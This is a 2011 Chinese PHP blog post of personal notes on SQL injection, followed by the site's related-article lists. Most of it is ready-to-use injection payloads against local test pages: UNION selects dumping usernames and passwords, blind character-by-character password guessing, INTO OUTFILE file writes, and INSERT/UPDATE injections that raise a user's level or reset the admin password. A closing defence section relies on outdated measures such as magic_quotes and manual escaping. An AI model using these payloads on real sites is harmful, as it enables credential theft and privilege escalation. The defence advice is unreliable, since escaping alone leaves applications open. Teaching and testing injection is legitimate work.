PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
PHP的中问验证码
Nov 25 PHP
如何在PHP程序中防止盗链
Apr 09 PHP
PHP伪造referer实例代码
Sep 20 PHP
PHP 数据库树的遍历方法
Feb 06 PHP
php中防止伪造跨站请求的小招式
Sep 02 PHP
PHP 读取大文件的X行到Y行内容的实现代码
Jun 24 PHP
PHP文件大小格式化函数合集
Mar 10 PHP
修改ThinkPHP缓存为Memcache的方法
Jun 25 PHP
smarty模板引擎之分配数据类型
Mar 30 PHP
php魔法函数与魔法常量使用介绍
Jul 23 PHP
利用php操作memcache缓存的基础方法示例
Aug 02 PHP
php实现表单提交上传文件功能
May 28 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
PHP中函数rand和mt_rand的区别比较
2012/12/26 PHP
PHP和Mysql中转UTF8编码问题汇总
2015/10/10 PHP
在Laravel中使用DataTables插件的方法
2018/05/29 PHP
jQuery Ajax文件上传(php)
2009/06/16 Javascript
js 模拟实现类似c#下的hashtable的简单功能代码
2010/01/24 Javascript
JS TextArea字符串长度限制代码集合
2012/10/31 Javascript
js工具方法弹出蒙版
2013/05/08 Javascript
Jquery 的outerHeight方法使用介绍
2013/09/11 Javascript
Js参数值中含有单引号或双引号问题的解决方法
2013/11/06 Javascript
利用jQuery实现可以编辑的表格
2014/05/26 Javascript
JavaScript获得url所有参数键值表的方法
2015/03/21 Javascript
谈谈jQuery Ajax用法详解
2015/11/27 Javascript
JS实现图片平面旋转的方法
2016/03/01 Javascript
jQuery简单动画变换效果实例分析
2016/07/04 Javascript
关于bootstrap日期转化,bootstrap-editable的简单使用,bootstrap-fileinput的使用详解
2017/05/12 Javascript
Vue.js中轻松解决v-for执行出错的三个方案
2017/06/09 Javascript
基于layui框架响应式布局的一些使用详解
2019/09/16 Javascript
如何HttpServletRequest文件对象并储存
2020/08/14 Javascript
Python爬虫使用Selenium+PhantomJS抓取Ajax和动态HTML内容
2018/02/23 Python
python3+PyQt5自定义视图详解
2018/04/24 Python
利用Python检测URL状态
2019/07/31 Python
python多环境切换及pyenv使用过程详解
2019/09/27 Python
使用PyCharm安装pytest及requests的问题
2020/07/31 Python
怎样声明子类
2013/07/02 面试题
资深财务管理人员自我评价
2013/09/22 职场文书
给同学的道歉信
2014/01/16 职场文书
教师党性分析材料
2014/02/04 职场文书
工作违纪检讨书
2014/02/17 职场文书
财政专业求职信范文
2014/02/19 职场文书
高中军训感言200字
2014/02/23 职场文书
个人批评与自我批评
2014/10/15 职场文书
冬季作息时间调整通知
2015/04/24 职场文书
2015社区个人工作总结范文
2015/05/13 职场文书
2015年电教工作总结
2015/05/26 职场文书
任命书格式范文
2015/09/22 职场文书
学校就业保障协议书
2019/06/24 职场文书